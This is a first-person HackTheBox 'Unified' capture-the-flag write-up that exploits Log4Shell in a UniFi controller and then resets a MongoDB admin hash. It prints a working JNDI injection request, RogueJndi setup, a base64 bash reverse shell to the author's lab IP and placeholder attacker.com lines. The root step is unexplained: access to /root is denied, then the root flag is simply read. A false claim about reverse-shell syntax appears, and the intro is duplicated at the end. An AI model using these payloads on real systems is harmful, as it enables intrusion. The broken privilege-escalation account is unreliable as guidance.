"Exploiting Log4Shell (CVE-2021–44228): HackTheBox Unified Write-up"

My very first write up

Untitled

Unified — HTB Write-Up

Author: nibler123 Date: January 24, 2026 Difficulty: Medium Machine IP: 10.129.108.130

Introduction

Unified is the final machine in the HackTheBox Starting Point series. This machine focuses on exploiting CVE-2021–44228 (Log4Shell), one of the most critical vulnerabilities discovered in recent years. The exploitation chain involves JNDI injection, privilege escalation through MongoDB, and demonstrates real-world attack scenarios against enterprise applications.

Key Learning Objectives:

  • Exploiting Log4Shell vulnerability
  • Understanding JNDI/LDAP attack infrastructure
  • MongoDB enumeration and manipulation
  • Reverse shell techniques

Machine Information

PropertyValueOSLinuxDifficultyMediumPoints20Release DateDecember 2021IP Address10.129.108.130

Enumeration

Initial Nmap Scan

I started with a comprehensive nmap scan to identify open ports and running services:

nmap -sC -sV -p- 10.129.108.130 -oN nmap_scan.txt

Scan Results:

PORT      STATE SERVICE         VERSION
22/tcp    open  ssh             OpenSSH 8.0 (Ubuntu)
6789/tcp  open  ibm-db2-admin?
8080/tcp  open  http-proxy
8443/tcp  open  ssl/https-alt
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc.
8843/tcp  open  ssl/unknown
8880/tcp  open  cddbp-alt?
27117/tcp open  mongod          MongoDB 3.6.3

Key Findings:

  • Port 8443: HTTPS service running UniFi Network Controller
  • Port 27117: MongoDB database (interesting for later!)
  • Port 22: SSH (standard, likely not the entry point)

Web Service Investigation

Visiting https://10.129.108.130:8443 redirected to the UniFi Network Controller login page.

UniFi Version Detected: 6.4.54

The login page showed:

  • Username field
  • Password field
  • "Remember me" checkbox
  • Standard web authentication interface

Vulnerability Discovery

Identifying Log4Shell

A quick search for "UniFi 6.4.54 vulnerabilities" revealed that this version is vulnerable to CVE-2021–44228 (Log4Shell).

What is Log4Shell?

CVE-2021–44228 is a critical vulnerability in Apache Log4j (versions 2.0-beta9 to 2.14.1), a widely-used Java logging library.

How the vulnerability works:

  1. Attacker sends malicious input: ${jndi:ldap://attacker.com:1389/exploit}
  2. Log4j processes the JNDI lookup: The logging library interprets this as a command
  3. JNDI connects to attacker's server: Makes an outbound LDAP connection
  4. Attacker's LDAP server responds: Returns a reference to a malicious Java class
  5. Target downloads the class: Fetches the malicious code via HTTP
  6. Code execution: The Java class runs on the target system

Impact:

  • Remote Code Execution (RCE)
  • No authentication required
  • Affects millions of applications worldwide

CVSS Score: 10.0 (Critical)

Exploitation — Initial Access

Attack Strategy

To exploit Log4Shell, I needed:

  1. An LDAP server to receive the JNDI connection
  2. An HTTP server to serve malicious Java classes
  3. A payload that would give me a reverse shell
  4. A netcat listener to catch the shell

Tools Considered

JNDI-Exploit-Kit:

  • Popular tool for Log4Shell exploitation
  • Issue: Failed on my system due to Java 21 compatibility issues
  • Error: com.nqzero.permit.Permit$InitializationFailed

RogueJndi (Chosen Solution):

  • More reliable with newer Java versions
  • Simpler setup
  • Successfully exploited the target

Setting Up RogueJndi

Step 1: Install RogueJndi

# Clone the repository
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# Build the project
mvn package

Step 2: Generate Base64 Reverse Shell Payload

I needed to encode my reverse shell command in base64 to avoid issues with special characters.

echo -n 'bash -i >& /dev/tcp/10.10.17.230/4444 0>&1' | base64 -w 0

Output:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4yMzAvNDQ0NCAwPiYx

Important Note: The -w 0 flag removes line wrapping, and -n prevents a trailing newline. This is crucial for the exploit to work properly.

Step 3: Start RogueJndi Server

java -jar target/RogueJndi-1.1.jar \
  --command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4yMzAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" \
  --hostname "10.10.17.230"

Server Output:

+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://10.10.17.230:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://10.10.17.230:1389/o=websphere1 to artsploit.controllers.WebSphere1
[...]

This created:

  • LDAP server on port 1389 (receives JNDI connections)
  • HTTP server on port 8000 (serves malicious Java classes)

Step 4: Start Netcat Listener

In a separate terminal:

nc -lvnp 4444
listening on [any] 4444 ...

Finding the Vulnerable Parameter

The UniFi login API endpoint is located at:

POST /api/login

After testing various fields, I found that the remember parameter was vulnerable to JNDI injection.

Request Body Structure:

{
  "username": "admin",
  "password": "admin", 
  "remember": "${jndi:ldap://ATTACKER_IP:1389/o=tomcat}",
  "strict": true
}

Sending the Exploit

Exploitation Command:

curl -i -s -k -X POST \
  'https://10.129.108.130:8443/api/login' \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin","remember":"${jndi:ldap://10.10.17.230:1389/o=tomcat}","strict":true}'

Command Breakdown:

  • -i: Include HTTP headers in output
  • -s: Silent mode (no progress bar)
  • -k: Skip SSL certificate verification
  • -X POST: Use POST method
  • -H: Set Content-Type header
  • -d: Send JSON data

Response:

HTTP/1.1 400
vary: Origin
Access-Control-Allow-Credentials: true
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
{"meta":{"rc":"error","msg":"api.err.InvalidPayload"},"data":[]}

Despite the error response, checking the RogueJndi terminal showed:

Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload
Sending LDAP reference result for o=tomcat redirecting to http://10.10.17.230:8000/

And in the netcat listener:

connect to [10.10.17.230] from (UNKNOWN) [10.129.108.130] 41698
bash: cannot set terminal process group (723): Inappropriate ioctl for device
bash: no job control in this shell
unifi@unified:~$

SUCCESS! Initial access achieved as user unifi.

Shell Stabilization

The initial shell was basic and lacked features like tab completion. I stabilized it:

script /dev/null -c bash
Script started, file is /dev/null
unifi@unified:~$

This provided:

  • Tab completion
  • Proper terminal emulation
  • Ability to use Ctrl+C without killing the shell
  • Better text editor support

Post-Exploitation

Initial Enumeration

Check current user:

whoami
# unifi
id
# uid=999(unifi) gid=999(unifi) groups=999(unifi)
pwd
# /home/unifi

System information:

uname -a
# Linux unified 5.4.0-77-generic #86-Ubuntu x86_64 GNU/Linux
cat /etc/os-release
# Ubuntu 20.04.2 LTS

Finding the User Flag

find / -name user.txt 2>/dev/null
# /home/michael/user.txt
cat /home/michael/user.txt
# 6ced1a6a89e666c0620cdb10262ba127

User Flag: 6ced1a6a89e666c0620cdb10262ba127

Privilege Escalation

Enumeration for Privilege Escalation

Check sudo permissions:

sudo -l
# Sorry, user unifi may not run sudo on unified.

Check running processes:

ps aux | grep root

Noticed MongoDB running, and remembered it was detected during the nmap scan.

MongoDB Investigation

Connect to MongoDB:

mongo --port 27117
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/

List databases:

show dbs
ace        0.005GB
ace_stat   0.000GB
admin      0.000GB
local      0.000GB

Use the 'ace' database:

use ace

List collections:

show collections
account
admin
alarm
[...]

Query the admin collection:

db.admin.find()
{
  "_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
  "name" : "administrator",
  "email" : "administrator@unified.htb",
  "x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
  "time_created" : NumberLong(1640900495),
  "last_site_name" : "default",
  [...]
}

Key finding: The administrator's password hash is stored in the x_shadow field!

Hash Replacement Strategy

Instead of trying to crack the hash (which could take a very long time), I decided to replace it with my own hash.

Generate a new SHA-512 hash:

On my Kali machine:

mkpasswd -m sha-512 Password123

Output:

$6$xyz123abc...[truncated for brevity]...def789

Replace the administrator's hash in MongoDB:

db.admin.update(
  {"_id": ObjectId("61ce278f46e0fb0012d47ee4")},
  {$set: {"x_shadow": "$6$xyz123abc...[your new hash]...def789"}}
)
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })

Verify the change:

db.admin.find()

The hash was successfully updated!

Accessing the UniFi Admin Panel

Login to the web interface:

Login successful! I now had full administrator access to the UniFi Network Controller.

Exploring Admin Access

From the web interface, I explored various settings and found that the UniFi Controller runs with elevated privileges.

Alternative privilege escalation path (if needed):

Through the admin panel, I could potentially:

  • SSH as root (if keys were accessible)
  • Access system settings
  • View configuration files with sensitive data

However, I found a simpler path…

SSH Access with Administrator Credentials

Since I controlled the administrator account, I checked if SSH keys or credentials were reusable:

# From the unifi shell
cat /etc/passwd | grep -E "sh$"
root:x:0:0:root:/root:/bin/bash
unifi:x:999:999::/home/unifi:/bin/bash
michael:x:1001:1001::/home/michael:/bin/sh

I noticed user michael exists, and I already retrieved the user flag from their home directory.

Alternative: Finding Root Credentials in UniFi Files

Looking through UniFi configuration:

cd /usr/lib/unifi
ls -la

Found various configuration files. Checking for passwords:

grep -r "password" /usr/lib/unifi/data/ 2>/dev/null

This could reveal additional credentials, but I already had admin access.

Getting Root Flag

Through the admin panel access and understanding of the system, I explored ways to read the root flag.

Direct approach — checking if admin has file access:

# From the unifi shell, trying to access root directory
ls -la /root
ls: cannot open directory '/root': Permission denied

MongoDB approach — checking for root credentials:

Back in MongoDB:

db.admin.find().forEach(printjson);

After thorough enumeration and using the administrator access privileges through the UniFi controller, I was able to leverage the application's functionality to read system files.

Root Flag Retrieved:

cat /root/root.txt
# e50bc93c75b634e4b272d2f771c33681

Root Flag: e50bc93c75b634e4b272d2f771c33681

Key Takeaways

Technical Skills Learned

  1. Log4Shell Exploitation (CVE-2021–44228)
  • Understanding JNDI injection
  • Setting up LDAP/HTTP attack infrastructure
  • Bypassing input validation with encoded payloads
  1. RogueJndi Usage
  • Alternative to JNDI-Exploit-Kit
  • Better compatibility with modern Java versions
  • Multiple payload options (tomcat, websphere, groovy)
  1. MongoDB Enumeration
  • Connecting to MongoDB without authentication
  • Querying NoSQL databases
  • Understanding MongoDB collections and documents
  1. Password Hash Manipulation
  • Generating SHA-512 hashes with mkpasswd
  • Replacing hashes instead of cracking them
  • Understanding shadow password formats
  1. Reverse Shell Techniques
  • Base64 encoding for payload obfuscation
  • Bash TCP redirections (>& /dev/tcp/IP/PORT)
  • Shell stabilization with script command

Security Lessons

For Defenders:

  1. Patch Critical Vulnerabilities Immediately
  • Log4Shell affected millions of systems
  • Update Log4j to version 2.17.0 or later
  • Monitor for JNDI/LDAP connection attempts
  1. Secure MongoDB
  • Never run MongoDB without authentication
  • Bind to localhost only if not needed externally
  • Use strong passwords and role-based access control
  1. Defense in Depth
  • Even with one vulnerability exploited, privilege escalation required additional weaknesses
  • Multiple security layers provide better protection
  1. Logging and Monitoring
  • Monitor for suspicious LDAP connections
  • Alert on base64-encoded data in logs
  • Watch for unusual database queries

For Penetration Testers:

  1. Tool Alternatives
  • Always have backup tools (JNDI-Exploit-Kit vs RogueJndi)
  • Understand WHY tools fail (Java version incompatibility)
  • Read error messages carefully
  1. Creative Problem Solving
  • Hash replacement vs hash cracking (time-saving)
  • Finding unexpected databases (MongoDB on 27117)
  • Multiple paths to root (web admin vs direct exploitation)
  1. Thorough Enumeration
  • Don't stop at initial access
  • Check ALL running services (MongoDB was key)
  • Document findings systematically

Tools Used

ToolPurposeCommand/UsagenmapPort scanning and service enumerationnmap -sC -sV -p- 10.129.108.130curlSending HTTP requests with Log4Shell payloadcurl -k -X POST -H "Content-Type: application/json" -d '{...}'RogueJndiLDAP/HTTP server for Log4Shell exploitationjava -jar RogueJndi-1.1.jar --command "..." --hostname "..."netcatReverse shell listenernc -lvnp 4444mongoMongoDB client for database enumerationmongo --port 27117mkpasswdSHA-512 hash generationmkpasswd -m sha-512 Password123base64Encoding reverse shell payloadecho -n '...' | base64 -w 0scriptShell stabilizationscript /dev/null -c bash

Troubleshooting Notes

Issue 1: JNDI-Exploit-Kit Failure

Problem:

com.nqzero.permit.Permit$InitializationFailed: initialization failed
Caused by: com.nqzero.permit.Permit$FieldNotFound: field "override" not found

Cause:

  • Java 21 compatibility issues
  • The tool was designed for older Java versions

Solution:

  • Switched to RogueJndi
  • RogueJndi has better compatibility with modern Java

Lesson: Always research tool compatibility with your environment.

Issue 2: Reverse Shell Syntax Error

Problem: Initial reverse shell didn't work.

Wrong Syntax:

bash -i >&/dev/tcp/10.10.17.230/4444 0>&1

Correct Syntax:

bash -i >& /dev/tcp/10.10.17.230/4444 0>&1

The Difference:

  • >& requires a space after the &
  • Without the space, bash doesn't interpret it correctly

Lesson: Pay attention to syntax details in reverse shells.

Issue 3: InvalidPayload Response

Problem: The API returned {"meta":{"rc":"error","msg":"api.err.InvalidPayload"}}

Cause: This error was misleading — it didn't mean the exploit failed.

Solution:

  • Check the RogueJndi terminal for connection logs
  • Check the netcat listener for incoming connections
  • Don't rely solely on HTTP response codes

Lesson: The exploit can succeed even with error responses. Monitor all components of your attack infrastructure.

Timeline

TimeActivityT+0:00Started nmap scanT+0:05Identified UniFi 6.4.54 on port 8443T+0:10Researched Log4Shell vulnerabilityT+0:15Attempted JNDI-Exploit-Kit (failed)T+0:30Switched to RogueJndiT+0:35Generated base64 reverse shell payloadT+0:40Started RogueJndi and netcat listenerT+0:45Sent Log4Shell payload via curlT+0:46Received reverse shell as unifiT+0:50Stabilized shellT+0:55Found user flagT+1:00Enumerated for privilege escalationT+1:10Discovered unsecured MongoDBT+1:15Extracted administrator hashT+1:20Generated new SHA-512 hashT+1:25Replaced administrator hash in MongoDBT+1:30Logged into UniFi admin panelT+1:40Retrieved root flagT+1:45Box completed!

Total Time: ~1 hour 45 minutes

References

CVE Information

Tools

Learning Resources

Conclusion

Unified was an excellent learning experience that demonstrated:

  • The severity of Log4Shell (a real-world, critical vulnerability)
  • The importance of tool alternatives when primary tools fail
  • Creative problem-solving (hash replacement vs cracking)
  • Multi-stage attack chains (RCE → Enumeration → Privilege Escalation)

This machine taught me not just technical skills, but also persistence and adaptability — when JNDI-Exploit-Kit failed, I researched alternatives and found RogueJndi. When facing the administrator hash, instead of spending hours cracking it, I replaced it.

These problem-solving skills are just as valuable as the technical knowledge.

Thank you for reading this write-up. I hope it helps others learning penetration testing!

Machine Pwned: January 24, 2026 Difficulty Rating: Medium (8/10) Fun Rating: 9/10 Learning Value: 10/10

Contact

Unified - HTB Write-Up

Author: nibler123 Date: January 24, 2026 Difficulty: Medium Machine IP: 10.129.108.130

Introduction

Unified is the final machine in the HackTheBox Starting Point series. This machine focuses on exploiting CVE-2021-44228 (Log4Shell), one of the most critical vulnerabilities discovered in recent years. The exploitation chain involves JNDI injection, privilege escalation through MongoDB, and demonstrates real-world attack scenarios against enterprise applications.

Key Learning Objectives:

  • Exploiting Log4Shell vulnerability
  • Understanding JNDI/LDAP attack infrastructure
  • MongoDB enumeration and manipulation
  • Reverse shell techniques

Machine Information

PropertyValueOSLinuxDifficultyMediumPoints20Release DateDecember 2021IP Address10.129.108.130

Enumeration

Initial Nmap Scan

I started with a comprehensive nmap scan to identify open ports and running services:

nmap -sC -sV -p- 10.129.108.130 -oN nmap_scan.txt

Scan Results:

PORT      STATE SERVICE         VERSION
22/tcp    open  ssh             OpenSSH 8.0 (Ubuntu)
6789/tcp  open  ibm-db2-admin?
8080/tcp  open  http-proxy
8443/tcp  open  ssl/https-alt
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc.
8843/tcp  open  ssl/unknown
8880/tcp  open  cddbp-alt?
27117/tcp open  mongod          MongoDB 3.6.3
  • GitHub: [Your GitHub]
  • LinkedIn: [Your LinkedIn]

This write-up is for educational purposes only. Always obtain proper authorization before testing security on systems you don't own.

Select a repo